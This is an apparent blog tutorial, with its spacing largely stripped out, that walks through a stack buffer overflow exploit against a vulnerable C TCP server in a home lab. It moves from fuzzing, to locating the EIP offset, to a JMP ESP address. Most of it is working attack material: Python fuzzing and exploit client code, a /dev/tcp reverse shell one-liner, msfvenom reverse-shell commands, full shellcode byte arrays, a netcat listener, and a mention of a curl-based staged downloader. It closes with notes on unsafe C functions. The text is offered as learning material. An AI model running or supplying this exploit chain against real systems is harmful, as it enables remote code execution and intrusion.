WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130
AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)
MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize
DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100
MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger
print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes
forstringinMESSAGE
defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw
print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)
sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver
HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos
ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters
WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks
Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550
Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)
LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo
EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368
LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened
ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway
WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
